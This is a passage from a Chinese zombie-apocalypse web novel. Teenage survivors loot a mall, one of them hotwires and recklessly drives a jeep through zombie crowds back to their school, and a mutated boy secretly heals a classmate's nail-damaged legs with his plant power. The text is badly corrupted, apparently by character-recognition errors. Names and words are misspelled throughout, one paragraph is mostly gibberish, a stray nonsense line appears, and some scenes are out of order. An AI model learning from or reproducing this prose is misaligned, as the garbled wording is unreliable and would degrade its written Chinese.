谢崇宜除外。“那就它了。”谢崇宜取下衣服,把衣架扔到一边沙发上,衣服塞进了乌珩的怀里乌珩被他塞得后退了两步,“班长。"少年本来就瘦,他手指用力地攥着裙子,手背上血管都涨了起来,眼底的阴狠和不耐烦窜出来,可又不得不照顾自己与常人不同的变态食欲。谢崇宜静静地看着不情不愿的乌珩,忽然就抬手一把按住对方的后颈,将对方直接拖进了自己怀里。“你不愿意,可以告诉我。”之前,他看着乌珩装模作样还挺有意思,但偶尔佯装是有趣,一直戴着副面具,谢崇宜就挺想撕开他的面具,看他窘迫,看他坐立不安。乌珩仰头,谢崇宜走势优越凌厉的骨骼无一处不给人压迫感,他没有多在意对方的长相,而是直勾勾地看着对方柔软的脖颈。果然是色香味俱全的一个人。“穿吗?”谢崇宜再问。“不穿。”乌珩老实了。谢崇宜放开他,掌心还有少年瘦得凸起的椎骨的尖刻感。吃得也不少,怎么那么瘦。 裙子又被挂了回去。“去五楼吧。”谢崇宜说,“挑两身衣服两双鞋后我们回学校。乌珩却在离开店之前猛地停下脚步,他回过头,看着店内。乌珩又往回走,他在收银台的柜子下面找到了最大号的购物袋,站在一排排衣架前面,啪啪啪地往里面丢了一大堆衣裳。装满了两个大号的购物袋后,乌珩才离开,谢崇宜看着好笑,“给你妹妹的?"“嗯“没必要拿这么多,有身换洗的就行。”在末世,衣服怎么也没有食物重要,更何况还是这些什么也不顾只顾漂亮的衣裳。乌珩一声不吭。谁家的狗没有一柜子的漂亮小衣服上楼后,谢崇宜带着乌珩径直走进了一家户外服饰以及用品的店乌珩将购物袋放下,谢崇宜已经在推着购物车往里面天东西了。防水防风冲锋衣,吸汗速干内衫,速干裤,防风冷帽,手套,户外靴,,超大容量户外背包,他丢得太利索,像是在乱拿一通,乌珩在他拿过的商品货架跟前走走停停,发现谢崇宜拿的都是他们最需要的,也是最好的。乌珩却做不到谢崇宜这么了解这些东西,他要一件一件看了商品的标签才知道它们的具体作用和使用的材料。干正经事的谢崇宜没那么让人捉摸不透,他走完了所有分区,扔给乌珩一堆衣服裤子,“去里边换上。"说着,他自己也拿了衣裳,一头钻进了隔壁换衣间。乌珩还没穿过这么贵的衣裳,一件根本看不出有任何特别之处的冲锋衣都是四万多。他走出换衣间时,还在低头认真地摸着奇深的口袋,谢崇宜却早早地就已经换完等在了外面。乌珩顺着男生那两条又直又长的腿看上去,对方身上的夹克是深红色,很深沉压抑的红,但被谢崇宜凌厉张扬的眉眼一衬,衣裳也跟着张扬.自己则是宝石蓝,他们两个颜色不一样。谢崇宜的目光从乌珩发尖一路扫到底,才问:“你穿多大的鞋。"41。乌珩面前的地上被丢了双靴子过来,“换上,我们走。”乌珩拎着鞋子走到旁边换鞋凳上坐下,他把两只脚塞进鞋内,弯着腰给鞋穿鞋带。个身影忽然在他眼前蹲下,谢崇宜在给他穿另一只鞋的鞋带。外套包惠得乌珩不停呼出热气,他垂眸,也能看见谢崇宜是垂眸,这是他头一次被人这么从头到脚的照顾.他想起班里同学对谢崇宜的评价。“班长待人是有些冷淡,但作为班长,他还是相当负责,主持班级活动学校活动,公平公正,有时候班里经费不够,他还自掏腰包补贴缺口。“所以班长其实人非常非常好的,有时候他是有点不太好说话,记迟到早退一点水都不放,可也是为了我们好呀。其实乌珩跟谢崇宜都跟土字沾不上边,一个赛一个的衣架子身形,但现在确实不算潮流就是了。乌珩看着林梦之的大T恤大衬衫和破洞牛仔阔腿裤以及涂鸦帆布鞋,拧了下眉:“现在你这么穿不合适。谢崇宜不操他人的心,他走到走廊边上靠着。没过一会儿,薛慎推着坐着轮椅的薛屺过来了,薛屺脸上倒看不见泪丧和难过,身后的薛慎脸沉得简直能滴下水,隔着镜片都能看见他通红的眼睛,谢崇宜收回目光,身后,林梦之进店去换他的衣服了,也照着他跟乌珩换了身差不多的。“我们怎么回学校?”林梦之抱着乌珩,“我好累,我不想走路回去。"X从乌珩肩膀上跳到了林梦之头上,扒拉扒拉,坐了下来。 穿好鞋带后,谢崇宜还给乌珩紧紧系好。乌珩低声说了句“谢谢”谢崇宜却已经站了起来,“走了。"走廊的另一边,林梦之穿得像刚从秀场下来的模特向乌珩跟谢崇宜走来。看见两人后,他摘下墨镜,上下扫视着眼前两人,“土。"# “开车吧,”谢崇宜淡淡道,“薛屺这个情况,不太可能推着他一路回学校。薛屺:“老谢你什么时候有的驾照?"“我未成年,我哪来的驾照?”谢崇宜说。“那谁有驾照?”薛慎看向乌珩和林梦之。林梦之:“别看我出社会早,其实我也是未成年。乌珩:“我也没有驾照。 薛慎推了下眼镜,“会开车也行,谁会?”全场安静得简直不像话。时间过去良久后,谢崇宜有了动作,他转身离开,背影不拘一格,“楼下有样车,我们去找找钥匙,没有钥匙就自己点火。“我们知道楼下有车,问题是,没有驾照,也没有人会开车!”林梦之大喊。“先下楼吧。”乌珩看着林梦之道。楼下正好有辆吉普样车,车门已经被谢崇宜打开,他坐在驾驶位,弯着腰,手里捏着两根线在擦火。 “没找到钥匙?”薛慎把薛屺放到一边,走过去担心地问道。 “有钥匙我还至于这样。”谢崇宜抬手拽开衣领,看着站得远远的乌珩,觉得对方不仅爱装,良心也不多。 “我们都不会开车,就算打燃了火,也….”薛慎欲言又止。 但薛慎低估了谢崇宜骨子里的反叛,对方语气自然,“我来开。 "”薛慎扶住眼镜,“你认真的?你就会蹬个山地车,再玩个卡丁车。 “都差不多。”谢崇宜道。 薛慎心想,那可差远了,“哪差不多?"谢崇宜眼梢冷淡,“方向盘差不多。" 轰一 油箱被打燃了,引擎轰轰地响了起来。谢崇宜呼出口气,直起身,他单手调整着座椅,目光警向不知道什么时候站得离他更远的乌珩,他对薛慎说道:“让乌珩坐副驾驶。 33、第33章 薛慎回头看了眼远处站成一排的人, “乌珩应该不会愿意坐副驾驶。 “我知道。”谢崇宜说。 “让他们几个坐后面吧,”薛慎深吸一口气,眼底是赴死的壮烈,“我坐副驾驶。 “不要,” 谢崇宜慢慢摇头,“我就要乌珩坐副驾驶。 薛慎语塞。 “老谢你这个人就是,"男生作势推了对方一把,“幼稚,乌珩招你惹你了,他那么老实巴交的一个人… 薛慎现物崇官上高中时才结交,要不是因为上一辈营是战友,薛慎跟谢崇宜这种表面清高实际内里持机还要项出的人这辈子都的不上头,薛植自湖自身品说不算高风高节,却也是德行兼备,但跟谢崇官认识这诉三年的时间,他偶是设从谢洁 宜身上看出半丝近朱者赤的迹象。 这时,薛屺遥控着轮椅滑到车旁,“能打燃?" 薛慎看向他,“估计是辆老式车。" “难怪。 “上车吧。”薛慎拉开吉普车的车门,他将一脸恐惧的薛屺强硬地抱上车,收拾好轮椅后,他看向还站在远处导购台一动不动的鸟珩和林梦之,“"你们也过来上车! 他说完之后,对谢崇宜叮嘱,“老谢,等会你先把车开到超市门口。 看见薛屺上了车,乌珩抬脚。 林梦之攥住他,“要不我们俩步行吧,步行有益于身体健康!" “没事,你可以靠着我坐。”乌珩并不担心。 直到乌珩试着拉后座的车门拉不开。 车窗滑下来,薛慎指指前面,“你坐副驾驶。 林梦之手软脚软地爬到后座,他看了眼,“还挺宽敞。 薛慎想要用聊天来尽量缓解大家的紧张情绪,“这辆车应该不是新车,能看出改装过。 “改装车啊!怎么还是改装车?会不会开到半路它就散成一堆破烂?!" 薛慎凉幽幽地开口,“能开出购物中心再说吧。 乌珩坐上副驾驶,他拽出安全带,插扣时,扫见座位中间的手动挡。 他有点担心了。 收回目光,乌珩才发现谢崇宜不知道从什么开始就一直在盯着自己看 自己的注视终于被发现后,谢崇宜轻轻一笑,“别怕,不会死人。 乌珩:“仅仅只是,不会死?" 谢崇宜双手搭在方向盘上,一脚踩下油门。 0本一 “王!德!发!”薛屺的脑袋差点跟脖子分了家。 “我去我去我去我去我去我去!”林梦之身体离开座位,又被安全带给栓了回去, 砰!哗啦! 吉普车直接撞进一家钟表店,整扇的玻璃从中碎开,碎玻璃哗哗啦啦地砸在车顶 林梦之脸色难看得像一条茄子,他抱着副驾驶的座位,“慢点,我们慢慢开,班长,亲爱的班长,晚点回去也没关系的,反正学校又没有晚饭等着我们。 引警声没有半秒钟的减弱,它轰隆轰隆低沉地叫唤,警示着众人它即将再次出发。 “倒车好像是.…这个。”谢崇宜一手挂挡一手打方向盘,吉普车以光速倒出了钟表店。 车内林梦之和薛屺嚎叫得像是被硬捆上桌的的两头年猪。 而谢崇宜无疑就是手握杀猪刀的杀猪人。 轮胎在购物中心的地面擦出尖说的嘶鸡鸣,乘客不断发出惊恐的尖叫,沿路被路线七歪八拐的吉普车撞倒的装饰物不计其数,黑色的吉普车像极了一只失控发狂的黑豹,而它的驾驶者却一脸的兴趣盗然。 刺啦一声,吉普车一个急刹车,所有人往前栽去,惊魂暂定后,他们才发现车居然直接开进了人家超市里。 “我想吐。”林梦之解开安全带,推开车门,摔到车外的地上,哇啦哇啦吐了一地, 都是他之前在超市里吃下去的东西。 薛慎也皱着眉,但还扭头关心薛屺,“你有没有事?“ 薛屺摇摇头,“我想喝水。 乌珩则一动不动,他平视着前方,目光呆怔。 谢崇宜手指摩挲着方向盘,念念有词,“开车还挺简单的。 乌珩: 几人下车,一箱一箱往车上搬米面油,超市里的水果蔬菜已经腐烂得看不出原本样子,生的苍蝇和蛆都比未世之前的个头要大要胖,味道更是奇臭难闻 乌珩不死心,用藤蔓拽掉超市冻库的门锁,他走进堆满了肉类的冻库,被臭味熏得脸都青了,马上就转身走到了外面。 肉是没指望了,想要吃肉,估计只能出发后在路上猎着吃最新鲜的。 薛慎跟林梦之一样吐了一场,之后便拿着口袋里的便签纸,一样一样勾选着要搬上车的物资。 “易存放的米面调料都可以多拿。” “湿的调料不要,发酵品更加不要,这些基本都已经无法再食用了。" “压缩饼干。” “干货。 “零食带几袋解解馋即可。 “日用品不需要,老谢之前买了不少,够我们用很长一段时间了。 将车装得满满当当后,一行人终于踏上了回学校的路。 乌珩这次将安全带绑到最紧,藤条从他后背生出,紧紧抱住了座椅,绝不让这具身体有丝毫的动摇 “门外有人!”林梦之突然指着车前大喊。 乌珩和谢崇宜同时朝林梦之所指的方向看去。 乌泱泱的一大片。 “不是人,是丧尸。”乌珩看向后座,“锁好门,车窗升上去。 “应该是被爬虫馆里的血腥气吸引过来的。”谢崇宜挂好档,一脚油门踩到了底, 这还是乌珩第一次看见数量如此之多的丧尸群。 距离拉得越近,丧尸腐烂融化的面容就越加清晰,它们不停拍打着购物中心的几扇门,涎水与血水在他们脚下淌成小河,饥饿促使它们朝散发出血腥味的方向一直前进、聚集。 引擎一声咆哮,四溅的碎玻璃在夕阳下映出车内和车外两幅迥然不同的画卷。 哐当! 吉普车重重落地,将车下几只高举着双手做抓取动作的丧尸登时压成了几滩烂泥,车轮载着车身,啪啪啪砰砰砰将丧尸群撞得四分五裂。 丧尸不知道躲,只知道车里有活物,他们动作笨拙,一只接着一只扑向吉普车,它们将露出森森白骨的脸贴上车窗,转眼却又被卷进车轮,已经软化变活的骨头轻易就被悦碎 吉普车给自己碾出了一条猩红的血路,朝学校的方向飞驰而去。 除了乌珩和谢崇宜,后座三人脸上或多或少都有些不忍和难受。 毕竟就在一周多以前,在完全不知道未世为何物时,这些失去神智只知道吃生肉的丧尸,还与他们一般无二,里面有跟他们一样是学生的同龄人,有老人也有孩子,有男人也有女人。 灾难在用血淋淋的现实告诉所有人幸存者它的一视同仁,而它一视同仁的对象囊括了地球上的所有生物。 夕阳将天晕染成了一整片颜色均匀的血色,以前可能不会有人觉得这样的晚露极富浪漫气氛,现在却觉得这种色调,与刚刚车后残留的车辙是同样的 哐!哐哐!哐哐哐! “我靠! 当所有人都处在悲伤情绪当中的时候,吉普车左摇右摆滑出一个又一个标准的S,径直就撞进了路边的绿化带,给了众人一个措手不及, “老谢! 谢崇宜说了声抱歉,众人却在他的脸上看不出分毫的歉意,哪怕是拿着放大镜都无法看出。 吉普车停在学校后门边的围墙。 爬围墙是门技术活,没经验的话,腿长也不行。 林梦之叉着腰,懵在原地,“怎么给?" 怎么把好好一个人说得跟一件东西一样。 “抱着他,然后递给我。”薛慎伸手。 林梦之害了声,撸起袖管。 薛配明显也不是小个子,只是这段时间被折磨了一通,变得瘦骨嶙响了而已,林梦之将他抱起来,本以为会吃力,却没想到跟抱一团棉花设什么区别,他将薛心举过头顶,薛慎从他手中楼走了薛吧. 送走了薛屺,林梦之又把轮椅递了上去。 他看着乌珩,“我也举你上去。” 乌珩:"…我是残疾人?" 这时,还没有从围墙上跳下去的谢崇宜朝乌珩伸手,“上来,我拉你。 乌珩摇摇头。 围墙脚下,柔软的几根藤条钻出地面,它们沿着围墙攀上去,一根根搭在最上方,又一根根横平竖直地缠结,然后,搭出了一把藤梯出来。 谢崇宜: “ 林梦之: # 少年步态轻松,堪称优雅地步行上了围墙,又步行下了围墙 鞋底刚碰到校内的地面,虞美人半点活都不多干,马上撤离 "?”林梦之不可置信,“还有我!" 他把手伸给谢崇宜,“阿珩他班长,你拉我一把。 谢崇宜抬腿跨过围墙,给了林梦之一道意味深长的余光,“自己上来。 学校里安静得仅能听见树叶在跑道上滑来滑去的窸窣声,以及偶尔响起的几声鸟叫。 往日热闹非风生机勃勃的校园如今变得灰败凄凉,几栋教学楼的颜色似乎都赔淡了下去,地上随外可见黑色血迹,远外的垃圾池-一里面的丧尸已体雄得置了尖,小山一样,看得人心底发襄 几人的脚步声吸引了楼上众人的注意。 “哥哥!!!”乌芷清亮的声音响起,她从三楼窗户探头确定是乌珩之后,马上就抱着布娃娃往楼下跑。 阮丝莲追出教室,追了几步,“你慢点儿啊。”她声音柔柔的,完全叫不住乌芷,小女孩身影一眨眼就不见了。 乌芷很快就跑到了乌珩的面前,乌珩停下脚步。 她想抱乌珩但又不敢,在原地走了几步,先把除了乌珩以外的所有人都抱了一下,最后才用力抱住鸟珩,仰起头,“哥哥。 乌珩将人推开,“先上楼。”好!”走时,乌芷在乌珩左手边的林梦之和乌珩右手边的谢崇宜之间选择了将谢崇宜挤开,这个最不认识. “哥哥,你饿不饿啊?你吃饭没有?" “哥哥,你渴不渴啊?" “有姐姐给我分了葡萄味的饼干,她长得真漂亮,跟哥哥你一样,白白的香香的。" 林梦之已经习惯了乌芷这么黏着乌珩,他见怪不怪,其他三人却频频给予兄妹俩好奇的眼神, 谢崇宜倒没怎么去看乌芷,他知道乌珩有个脑部发育中止的妹妹,所以他看乌珩的次数比较多。 小女孩说活没什么遮掩,修饰词更加不可能有,白白的香香的也直接说了出来,薛慎忍俊不禁,谢崇宜却一直从乌珩的脸看到了他的脖子,直看到被衣领吞没的位置才收回目光。 楼上众人已经等待许久,两三个人等在走廊里,一看见几人就连忙迎上来。 “怎么样?没出问题吧?" “吓死我了,我还以为你们回不来了,"窦露拍着胸口,“我就说爬虫馆的能量波动怎么那么强,原来有那么大一窝虫子!" “乌珩,你也来了啊。”李束靠着阳台,“欢迎欢迎。”他用并不算欢迎的语气欢迎道。 乌珩在班里一向形同透明人,班里的人对他不熟悉,他也同理,只是他对班里的每个人没有具体的印象,他们却对乌珩有着很具体的印象。 苍白瘦弱,沉默寡言,阴郁低迷,给人的感觉像压着一层又一层乌云的阴天,没有暴雨前的蓄势待发,只有令人感到无趣的半死不活。 乌珩根本不知道眼前的男生叫什么名字,他张了张嘴,回了声谢谢 林梦之紧跟着冷笑道:“他本来就是你们班上的,你欢迎尼玛呢。" 乌芷挽着林梦之的手臂,“就是就是。"李束昨天见过林梦之使用异能,知道他是火系,不好惹,也惹不起,所以讪讪一笑,“欢迎你,成不成?"“快快快,进教室,学委你跟我们说说,你们怎么找到班长和乌珩的?"卖露搓着手,“我太想听了!"“阮姐姐,给我拿一包瓜子吧,我要一边嗑瓜子一边听!”窦露对阮丝莲说道。李束没好气道:“你自己没长手?"“不用你管,阮姐姐又不是你的人。”薛慎暂时没心情,婉拒了讲故事,推着薛屺走到了角落里。乌珩在教室的另一个角落坐下来,他之前在教室也坐这个位置。坐下,乌路的心境就仿佛回到了未世前,课桌依旧整齐摆放,黑板上还留着一半没擦掉的果堂板书,被擦物的一半写上了活动通知,值日同学的名字,还有课代表写下的作业上交时间,教室里,一小半人趴着睡觉,打水上厕所的进进出出,只要一下课就开始追逐嬉闹的始终是那几个人,他们从自己桌子边上一个接一个带着风跑过去,衣角带掉了他的书,也没人捡起来,只丢下一句“不好意思啊乌珩,你自己捡一下哦”乌珩从未觉得这是同学刻意为之的霸凌行为,大家对他不曾有恶意,他只是不重要,所以被忽视。当然,乌珩也不需要他们的重视,他觉得这是一种麻烦,一种负担。比起背负期待与指望,弯腰捡起一本书可要轻松得多。所以,自打进教室后,他的左右就只有眼巴巴看着他的乌芷和吃着薯片的林梦之,以及已经在林梦之头上开始打盹的鸟。“阿珩。”林梦之突然出声。 乌珩看向他,等着他的下文。 林梦之咂咂嘴,“我们自己去京州吧,我不喜欢这些人。” 乌芷立刻接话,“那我们把阮丝莲姐姐也带走吧,我喜欢她。 “”林梦之无语道,“你以为人家是你那只丑猴子吗?说带走就带走。”林梦之跟乌芷说完后,撞了撞乌珩的肩膀,“怎么样?我觉得我们自己去京州也可以,虽然我们两个男生带着乌芷是要麻烦点儿,但说不定路上能碰到热心大妈什么的。乌珩清浅地呼吸着,视线呆钝地落在了谢崇宜所坐的位置的方向。对方趴在桌面,一只手绕到脑后疲怠地搭着,脸朝着窗外,正在休息他的课桌周围也是同样冷清安静,但跟自己的肯定不同。自己是不受欢迎,才没有人前来。 乌珩静静地凝望了谢崇宜许久之后,才去打量其他人。 薛慎,薛屺,窦露,阮丝莲,何似玉,李束,杜遥远……这些,都能吃,都算是食物储备,必要的时候,都能应急 “还是一起吧。”乌珩收回目光,看着林梦之,慢条斯理道,“人多方便互相照应。 “道理是这个道理,但我感觉他们怎么对你特别冷漠。"林梦之特别不懂,其实他能看出来大部分人对自己发小都不是讨厌,而是别的,更加使人不舒服的态度, 所以,与其说是讨厌,不如说是漠不关心。 可这比讨厌更加令林梦之难以忍受!他就算了,他这样的确实随处可见,分毫不稀奇,可他发小多有人格魅力啊,他们怎么做到完全置之不理的?太牛逼了! 乌珩:“我无所谓。“ 没有会在乎食物关不关心自己。 林梦之只当乌珩在忍气吞声,咽下一口气。 窗外天色贾渐暗,林梦之花了良久时间给自己做思想工作,说服自己之后,他定定地看着乌珩,肯定地说道:“问珩,以后会有很多人认可你,喜欢你,并且将能追随你视为他们人生的终极目标。 1人八比X家以入可 e. hP F 乌珩本来听得津津有味,听到最后面时,他悠然的表情散开,“最后一点倒不用。 夜色降临,教室外时不时刮过一阵风,校外时不时还有怪物的低吼声隐绰传至耳畔。 阮丝莲合上窗户,从外套口袋里拿出打火机,又取了几根蜡烛,依次点上后,低声通知大家,“该吃晚饭了。 “耶!'' 前段时间他们一直靠打丧尸从班长那里换取食物与水,白天出去拼命,晚上回学校就着水咽粗粮饼干,精神遭受未世绝望的推残,口口忍受超负荷的劳力与饥饿,个个都过得苦兮兮。 这次前去购物中心虽然差点送了命,可收获也颇丰,因为他们早上从购物中心离开回学校的路上,大包小包带了不少食物回来。 所以,今天的晚餐丰足得不像话。 教室里的大部分课桌都被丢到了外边走廊,只留下几张,所以教室中间的位置是一片空地,何似玉在地上铺上几张练习册的空白纸,将今天晚上的晚餐一件件摆上去,看分量,应该是每个人都有份。 “快来吃!”窦露招呼着,还从自己口袋里掏了一把巧克力放到地上。 阮丝莲走向角落,看着坐成一排的三人,笑眯眯道:“你们也来吃吧。 她看了看三人,犹豫后,饭有些过意不去,“晚上我们一般都只是随便吃一点,大家都器了,但是每天早上我们都会吃热食的,现在只能清你们先洛就一下,明天早上我跟长说,看在你们同来的份上,让他给我几个鸡蛋,我尚简放到你们 的碗底,好不好?" 乌芷看看乌珩,欲言又止后,什么也没说,对阮丝莲轻轻摇头,“我不饿。 林梦之则直接站了起来,“我吃。 “你怎么能吃呢?!”乌芷站起来,一脸的惊异,把布娃娃的脸都掐凹了进去。 “你管我。 乌珩推着乌芷,轻声道:“你跟梦之一起去吃。 “那哥哥呢?”乌芷小心翼翼地问。 少年说我不饿。 “不可能。”乌芷接话接得飞快。 u 乌珩真的不饿,他以前就不爱吃零食,更爱吃水果蔬菜。 如今变异后,零食在他眼中已经被别出了食物的行列,普通的水果蔬菜他也没有胃口,吃了跟没吃是一样的。所以他也做得再费牙口去唱嚼,他准备等大家都休息后,他再出学校去找点吃的。 “乌芷。”乌珩语气不咸不淡地喊了声小女孩的名字, ".我知道了,那我去吃了,哥哥待会见。”她一步一回头。 乌芷被阮丝莲带着坐到了众人之间坐下。 窦露看见她,立马给她手中放了一把曲奇,“这个好吃。 乌珩面无表情地看着这一幕。 乌芷很容易讨大家的喜欢,即使手无寸铁,没有异能。 但乌珩也知道是因为这些人暂时还没有落入挣扎的绝境,一旦沦落到绝境,类似于乌芷这样的装饰品,一般都是被最先抛弃的。 谢崇宜从洗手间回到教室里,所有人都招呼他去吃东西,甚至还有人抱着食物去递给他。 “你们吃。”男生懒懒地摆摆手,径直从众人旁边掠过去。 但刚拒绝,他随即又退了回去,长腿毫不客气地跨进林梦之和薛慎身体之间。 两人上身同时朝两边闪开,谢崇宜弯下腰,在地上一堆食物之中捡起一袋按着还酥脆的曲奇 拿了曲奇之后,他在所有人眼皮下底下继续挑挑拣拣。 没有人敢说什么。 直到又拿起一罐果汁,谢崇宜才算满足,他直起身,“你们继续。 说完,他朝趴在角落里睡觉的乌珩走去。 34、第34章 乌珩上午一口气进食了太多,他现在需要时间用来消化,他趴在桌子上,看着窗外发呆。只有在夜晚,在外面的一切都被夜色笼罩的时候,末世的残忍肃杀才会一同隐匿,仿若消失,但也只是白欺欺人。 乌珩摊开手,垂眼看着自己的掌心,那朵黑色的虞美人花几乎占据着他的整只掌心。 或许是因为吃饱了,它的几片花瓣边缘泛着一层模糊的血色。 脚步声袭进,乌珩攥起五指,看向来人。“班长。”他坐起来。谢崇宜把手中的曲奇和果汁放到了少年面前。乌珩看出这是给他的,他把两样东西推了回去,“我不饿,你吃吧。" “变贤惠了?" 谢崇宜见他真不吃,拆开了曲奇,坐在乌珩对面,一块接一块地吃了起来。 黄油的甜腻和草莓的甜酸逐渐在空气中蔓延开。 “我跟薛慎和薛屺打过招呼,让他们不要把你的异能说出去,问起来,就说没有。 “谢谢。”乌珩持续地发呆待机。 “你是植物共生体吧。”谢崇宜忽然问。 乌珩低下头,一言不发。 谢崇宜咬着饼干,他眼睛里很少出现明显的笑意,可唇角的天生上扬却总是会令人误以为他是个脾气还不错只是性子有些冷的人。 此刻也是,他两只桃花眼的眼底像嵌了两块要化不化、冷得渗人的春冰。 他看着眼前的乌珩,处于热闹的人群当中,乌珩之前偶尔显露的几次鲜活在他的身上仿佛从未出现过,他整个人在短短时间内,盖上了一张布满灰尘的窗纱,毫天生趣又模湖朦成-一像一张压在相助最底下的老照片。 “你知道共生体?”乌珩看了谢崇一眼,又低下眼睛. “薛屺是共生体。”谢崇宜说。 薛屺回学校后将这一周多时间里的经历完完本本地讲给了薛慎和谢崇宜。 外面太阳出现的时候,他们正处于负一楼的位置,对外界出现的变化一概不知。 所以就算被蜘蛛咬又被店长追着咬,薛屺也没想那么多,直到他看了手机,还没看到两分钟,蓝蜘蛛的毒性发作就让他晕了过去。 醒来后,他不仅看见了自己每天喂养的守宫蜘蛛变得比以前大了数十倍上百倍,还看见了吊在眼前的曲言。 曲言说,他们俩都发生了变异,已经不再是人类了, “伪人?”薛屺当即道。曲言嘴角抽了两下,说:“或许,我们可以成为这个世界新的主宰。薛屺虽然从小就有个拯救世界的中二梦,但他想的是拯救所有人而不是把所有人踩在脚下面,又说:“成为猪仔吧你。“然后他就把我钉在了柜子里,我开始还以为他是恨我骂他猪仔,但后来我才发现他跟我想的不一样,我又觉得他是嫉妒我,之后我听见了他跟乌的的对话,我才明白,他不是嫉妒,他只是难以成为他想要成为的人,所以癫狂了。”"我琢磨过,能跟动植物成为共生体,需要宿主有极强的执念,这个执念可以是活下去,也可以是别的,当作为人的执念能压过变异动植物的神识,那样才不会被它们吞食,最后变成共生体。" “你的执念是什么?”谢崇宜有些好奇。"当然是成为救世主啊,我都是蜘蛛侠了,这难道还不足以说明问题吗?"薛屺双手撑着轮椅扶手,想要站起来又失败了,重重控回去,然后道:“可恶,这是在考验我吗?!" N. H 乌珩听谢崇宜说完后,模样有些老实,“那我或许就是共生体吧。 谢崇宜却嚼着饼干靠近了乌珩,像是想要跟他说悄悄话的样子。 乌珩主动靠近了一些。 “乌珩,你的执念是什么?”谢崇宜低声问道。 身后不远处摇曳着几朵烛光,两个人靠近耳语的影子投落在课桌上,像是在接吻。 谢崇宜观察着乌珩,说我不信。 但他也没有追问,他把曲奇和果汁留下了,人则转身头也不回地离开。 乌珩看着男生的背影,他刚迈步朝中间那群人走去,杜遥远立马高喊了一声“谢哥!”,然后麻溜地给谢崇宜空了个位置出来。 谢崇宜走过去坐下后,食物都不自觉地往他面前堆,生怕他饿着了似的。 乌珩看了会儿,在听见他们说要玩真心话大冒险的时候,继续趴下休息 他们什么时候结束的晚餐,乌珩并不清楚,他一直在睡觉。 直到阮丝莲声音轻柔地将他叫醒。 “乌珩,去隔壁教室睡吧。”她长发散落,乌黑顺滑,身上有一种难以用语言形容的身为照顾者的温柔又冷静的气息。 “隔壁?”"嗯,我们男女生是分开休息的,这里是我们原来的教室,我们用来开会和吃饭。隔整两个教室,男生在左边的教室休息,女生在右边的教室,你放心,我们捕了被子的。“ 阮丝莲端着一支蜡烛放到乌珩桌子上,“去吧,乌芷跟着我就行 乌珩看向恨不得长在人家身上的乌芷,“…麻烦了。" “哥哥晚安,哥哥明天见。”乌芷依依不舍地朝少年挥挥手。 乌珩睡得并不好,他靠着窗,身旁是林梦之,林梦之附近不知道是谁在打呼,打雷一样 躺了会儿,乌珩坐了起来,他走到了教室外面,往楼下走。 但没想到会在一楼的台阶上碰到薛慎。 听见脚步声,坐在台阶上的薛慎回过头,一脸讶异,“你怎么还没睡?" 乌珩皱着眉,“有人打呼。” “打呼?那应该是何似玉,他有鼻炎。"薛慎了然,“一开始他们还想把何似玉赶去其他教室,让他一个人睡,但现在这情况,独自待着不安全,你得忍忍了。 乌珩点点头,没再说什么,“你怎么也没睡?"薛慎目光收回,笑了笑,朝外面看去,“薛屺腿疼得睡不着。乌珩走出教学楼后才看见薛屺,对方坐着轮椅缓慢行驶在跑道上。 头顶月光洁白柔和,与一开始的诡异紫月全然不同。 薛屺垂头丧气,一脸的沮丧。 乌珩犹豫了一下,抬脚朝跟薛屺相反的方向走去。 万一碰面,他少不得要跟对方寒暄,还要安慰对方,麻烦。 少年背影清瘦萧条,他慢悠悠散着步,没走多远,他就看见了校门口那葱茏蔽日的垂丝茉莉与芭蕉树。 他回头看了眼教学楼,略微对比后,发现这两丛植物最终能将教学楼也覆盖过去也说不定。 垂丝茉莉已然开花,白色的花瓣一串串垂在枝头,随着微风晃来晃去,观赏性自是不必说。 已经与它纠缠在一起的芭蕉树也同样开了花,与垂丝菜莉的轻灵活泼不同,芭蕉树的花跟香蕉似的,贴着树干长,很是脊实,树的中间,还立着几具白森森的人骨。 乌珩不仅朝它们俩走过去。 “乌珩,别过去,”薛屺的声音突然出现在他背后,“我哥说它们会杀人吃人。 乌珩暂停步伐,他转过身,眼神漆黑平静。 与他撞上视线的薛屺,不太自然地偏头避开,“你怎么没睡? “睡不着,你呢?”乌珩明知故问,没话找话,不然他也不知道说什么了,“腿痛死了,根本没法睡。”薛屺靠着轮椅,“白天我他妈的就应该捅曲言十刀八刀!"“我跟班长第一次见到曲言的时候,他说蜘蛛的腿断了能再生,为什么你的腿好像不能?”乌珩疑惑道薛屺又骂了句脏话,然后说:“只要还有两条好的腿,其他受伤的腿就影响不到作为人类形态时的双腿,曲言就是知道这一点,才往我每一条腿里都敲了一颗钉子。乌珩听他说完后,往前走了两步,“我,能不能看看你的腿?"薛屺怔了一下,“你确定?"“嗯。”说着,乌珩已经在薛屺面前蹲了下来,薛屺表情复杂,但还是弯腰主动将裤脚挽了起来 之后,乌珩看见了两条细如枯枝的小腿,膝盖以上的部分,皮肤颜色还算正常,可小腿部分却已经变成了紫黑色,两边膝盖的下方,都各有一个筷子粗的钉子洞. 乌珩手有些痒,他低头看了眼掌心,发现一小撮藤芽在朝薛屺的小腿张牙舞爪,比刚刚碰上薛屺时还要激动。 "”干什么?又饿了? 少年看了眼教学楼的门口,薛慎不知道什么时候已经站在了门外的水泥台阶上,他正看着自己和薛屺,镜片反射月光,眼神影绰不清。 “薛屺,你信任我吗?”乌珩抬眼,轻声问道。 薛屺低着头,被少年一双淡漠却又专注幽深的瞳孔看热了眼睛。“我当然信任你!"他想起下午在爬虫馆里,他被对方邪恶又疯狂的模样吓到,到后面他倒在对方的怀抱里,那样温暖,呼吸间,还有一股缥缈清淡的花香,意识先一步控制了薛屺,他下意识开口,乌珩将掌心轻轻贴在了薛屺的膝盖上。温热的刺痛感在瞬间穿透薛屺的皮肤,沿着小腿,传达全身。薛屺双手紧紧攥住轮椅的扶手,他弓起背,咬着牙,大粒的汗珠从他脸上不停滚落 “别出声,别让你哥知道。”乌珩听见薛屺喉咙里溢出来的呻//吟声,瞥上去一眼。 薛屺艰难地点头,痛苦不堪的表情。 从薛慎的角度看过去,看不出什么异常,他以为乌珩是在关心薛屺的腿伤。 乌珩能感知到虞美人跟平时不尽相同的情绪。 它不是在攻击,也不是进食,它的刺入力道与速度称得上是前所未有的温和。 他想要知道对方想干什么。 随着时间一分一秒地过去,薛屺檬着轮椅扶手的手指慢慢松开,一开始的刺痛感已经越来越弱,到最后疼痛感消失得彻头彻尾。一道舒适畅意的暖流在他的小腿内窜流轻浮,有些痒,有些麻。 